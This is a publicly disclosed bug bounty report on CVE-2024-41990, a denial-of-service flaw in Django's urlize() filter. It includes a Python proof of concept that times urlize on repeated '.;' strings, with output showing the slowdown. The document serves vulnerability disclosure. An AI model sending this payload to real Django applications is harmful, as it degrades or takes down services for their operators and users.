HexBrain

Internet Bug Bounty · Report #2795558

CVE-2024-41990: Potential denial-of-service in django.utils.html.urlize()

Validstatus
mediumseverity
$2,162bounty
83upvotes
30 Nov 2024disclosed

Summary

CVE-2024-41990: Potential denial-of-service in django.utils.html.urlize()

The urlize() and urlizetrunc() template filters are subject to a potential denial-of-service attack via very large inputs with a specific sequence of characters.

How it was found

I reported a slow pattern in urlize using repeated .; characters, which would become exponentially slower the larger the string. If a user string from a POST request was read by the function, or stored into the database to be read later by urlize, that's where the biggest problems happened.

This is the PoC that I used:

import django.utils.html
from time import time

print('=== django.utils.html.urlize(".;" * n) ===')
for i in range(0,1000000, 40000):
    start = time()
    PAYLOAD = ".;" * i
    django.utils.html.urlize(PAYLOAD)
    print(len(PAYLOAD), "\t", time() - start)
=== django.utils.html.urlize(".;" * n) ===
80000     0.517104148864746
160000    1.91546583175659
240000    4.26700210571289
320000    7.51475358009338
400000    11.7720293998718
480000    16.8458595275879
560000    23.1542763710022
640000    39.5922138690949
720000    45.6281299591064
800000    59.8330779075623
880000    74.544540643692
960000    90.4768784046173
1040000   106.528100728989

Impact

Reduced performance or Denial of Service was possible if the urlize function was used without strict limits on a large user string.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original